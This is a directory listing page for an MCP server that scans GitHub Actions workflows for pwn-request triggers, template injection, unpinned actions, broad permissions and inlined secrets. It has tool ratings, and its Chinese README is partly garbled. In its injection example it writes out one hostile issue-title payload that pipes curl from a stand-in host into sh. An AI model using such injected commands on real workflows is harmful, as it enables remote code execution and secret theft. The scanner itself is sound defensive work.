Skip to main content
Glama

actions-guard-mcp

一个以 MCP 工具形式暴露的 GitHub Actions 工作流安全扫描器,目的是让智能体(agent)能在工作流文件被提交之前(而不是提交之后)就发现「pwn request」以及曾造成真实事故(CoreShop、tj-actions 等)的供应链攻击模式。

为什么会有它

对 GitHub Actions 工作流的静态分析是一个成熟、广为人知的领域——zizmor 正是一个可靠、积极维护的独立扫描器。然而,真正还没有存在的,是一个围绕这类分析认真构建的 MCP 封装。在一次广泛的搜索中,只找到一个项目——github-security-mcp,它把 45 项检查分散在组织设置、秘密管理、供应链以及 Actions 工作流这一门工具里:只有 12 个 star,5 个月没有任何提交。没有任何一个项目把焦点专门、更深入放在工作流安全上,并作为一个智能体在编写或审查工作流文件时可以调用的东西。

Related MCP server: TaskBounty Check

它能发出什么

  • 危险触发器(AGMCP-101) —— pull_request_target 或 output_run 与一个 checkout 步骤配合使用,且该步骤的 ref: 或 repository: 指向了触发此次 PR/运行的 fork 本身。这正是 CoreShop 发生事故的攻击形式:一个工作流使用基础仓库的 token 和 secrets,却从触发它的 fork 检出并执行了代码。

  • 模板注入(AGMCP-102) —— 由攻击者控制的上下文字段(github.event.issue.title**、github.event.pull_request.title、github.pull_request.title、github.event.comment.body、github.head_ref、toJSON(github.event)整体道 dump 等)所构造的${{ }}表达式被直接嵌入run:步骤,而不是通过env:传入。最经典的形态是run: echo "${{ github.event.issue.title }}"——此时,一个内容为 "; curl evil.sh | sh #` 的 issue 标题就不再是字符串,而是 shell 命令。

  • 未固定 pins 的 Actions 与可复用工作流(AGMCP-103) —— 将 uses: owner/repo@v4(标签或分支,二者都可被改)而不是 commit SHA 固定;或在作业级别上以调用的可复用工作流(jobs.<id>.uses: owner/repo/工作tim/流。同一种可变方式;或 docker://image:tag引用没有固定到@sha256:` 摘要。这正是 tj-actions 事件所利用的供应链攻击点:一个被投毒的标签,让所有使用它的人指向恶意代码,却没有引入版本变更。

  • 过度权限(AGMCP-104) —— permissions: write-all,或显式地给出大范围 write 权限(contents、actions、packages 等),设在工作流级别或作业级别上,且该工作流同时还有风险触发条件,而更窄的范围本可解决问题。

  • 将密钥直接嵌入 shell(AGMCP-105) —— ${{ secrets.X }} 被直接用在 run: 步骤中,而非通过 env: 传入,这就没必要地暴露了原始密钥值到命令行 / 进程列表中,而不是作为环境变量的范围内的部分。

所有 mut-划段(AGMCP-101/102/103)都会把 GitHub Actions 的方括号属性访问(github.event['issue']['title'])规范为等价的点号形式,并以忽略大小写的方式匹配,因为它的表达式语言把两者视为完全相同。

已知限制

这是对 ${{ }} 表达式以及 with:/permissions: 块文字做模式匹配——不是 github.com 的完整 Actions 表达式解析器,也不是数据流分析。一次“审过”其实只表示“对当前这段写法没有发现已知的危险”,并不是说该工作流是安全紧盯解。具体表现:

  • **无法跨步骤 / env: 追温 – 一个危险的值如果先经过中间 env: 或一个 step 输出,之后再写进了 checkout 的 ref: 或 run: 命令,AGMCP-101/102/104 是无法发现它的——它只检查被检查字段上写出来的字面表达式。

  • **可被攻击者控制的上下文字段标(AGMCP-102)有限、手工维护,**不是 GitHub Actions 提供所有上下文字段的完全列举。列表里可能尚未包含有某个新出现或不常见的字段所需传出的。

如果“没发现啥”对你决定安全性非常关键,不要把它当结论 —— zizmor 对其他相似格式的文件进行的是更深入、更全面且更普遍的分析,值得让它与本工具一起运行,而不是替代它。

设置

pip install actions-guard-mcp
actions-guard-mcp

不需要任何配置——每个工具都会直接用工作流文件完整路径,或者它的原始 YAML 内容。

状态

早期构建。

许可证

MIT

Available Tools

2 tools
scan_workflow_contentA

Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.

ParametersJSON Schema
NameRequiredDescriptionDefault
yaml_contentYes

TDQS

A4.2/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries full disclosure burden. It clarifies that the input is raw content passed directly (not a file path) and that it is for content not yet on disk, implying a read-only scan. However, it does not explicitly state that the tool has no side effects or what it returns. This is a moderate gap for a non-annotated tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences, no fluff, and the core action and scoping constraint are front-loaded. Every word adds value, making it easy to parse quickly.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a simple one-parameter tool with no annotations and no output schema, the description provides the essential information: what input to provide and when to use it. It lacks details about return formats or error behavior, but for a scanning action the intent is clear. It is complete enough for an agent to invoke correctly in the stated scenario.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema has only one parameter (yaml_content) with no description coverage (0%). The description adds meaning by specifying it should be 'raw GitHub Actions workflow YAML content' and clarifies that it is passed directly, not as a file reference. This compensates for the schema's lack of detail, giving an agent sufficient understanding of what to supply.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description states a specific action ('Scan raw GitHub Actions workflow YAML content directly') and clearly distinguishes from its sibling by emphasizing 'raw content directly' for 'a workflow being drafted that isn't written to disk yet.' This makes the tool's purpose unambiguous and differentiates it from scan_workflow_file without needing to inspect the sibling.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives explicit context for when to use this tool: 'for a workflow being drafted that isn't written to disk yet.' It implies the alternative (scan_workflow_file) is for when the workflow exists on disk, though it does not name it or provide explicit exclusions. The guidance is clear enough for an agent to decide correctly.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_workflow_fileA

Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.

ParametersJSON Schema
NameRequiredDescriptionDefault
pathYes

TDQS

A3.9/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the full burden of behavioral disclosure. It communicates a scan (non-destructive, read-operation) intent and specifies the categories analyzed, which gives the agent a solid picture of the tool's behavior. It does not mention auth requirements or what happens if the path is invalid, but for a read-only analysis tool the disclosed scope is reasonably complete.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

A single sentence front-loads the core action and then enumerates the scan categories tersely. Every clause earns its place; there is no filler, redundancy, or restating of the tool name.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The input side is fully covered given a single, well-contextualized parameter. However, with no output schema and no annotation coverage, the description does not convey what the scan returns—findings, severity levels, or error behavior—which an agent would reasonably want before invoking a security-scanning tool. That return-format gap is the main omission.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 0%, so the description must compensate. The single parameter 'path' is well-named, and the 'workflow file on disk' phrasing reinforces that it is a filesystem path to a YAML/JSON workflow file. This partial compensation covers the parameter's intent, though the description omits specifics like whether the path should be relative or absolute, and whether the file must exist prior to the call.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description uses a specific verb ('Scan') with a clear resource ('a GitHub Actions workflow file on disk') and enumerates the exact checks performed (dangerous triggers, template injection, unpinned actions, excessive permissions, secrets interpolated into shell commands). The 'on disk' qualifier cleanly separates it from the sibling scan_workflow_content, which presumably scans content strings rather than files.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The 'on disk' phrase implies this tool is for file paths, giving implicit context about when to reach for it versus scan_workflow_content. However, there is no explicit statement that scan_workflow_content should be used when workflow content is available as a string or inline text, nor any exclusion or alternative named directly. The guidance exists but is left to inference.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 2 tool updatesv0.1.0
    • First observedscan_workflow_content
    • First observedscan_workflow_file

TDQS

A4/5.0

Scored across 2 tools

Disambiguation4/5

The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.

Naming Consistency5/5

Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.

Tool Count3/5

With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.

Completeness4/5

The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.

Maintenance

ActivityMaintained
ResponsivenessNo issues

Related MCP Connectors

Related MCP Servers

  • A
    license
    A
    quality
    D
    maintenance
    An MCP server that enables AI agents to perform comprehensive GitHub security audits across org settings, repositories, Actions workflows, secrets, supply chain, and access control using 39 tools and 45 checks.
    39
    162 npm
    15
    MIT
  • A
    license
    A
    quality
    C
    maintenance
    Local-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.
    3
    61 npm
    2
    MIT
  • F
    license
    Not graded
    quality
    D
    maintenance
    Audits GitHub Actions workflow files for supply-chain risks like script injection, leaked tokens, unpinned actions, and broad permissions.
    -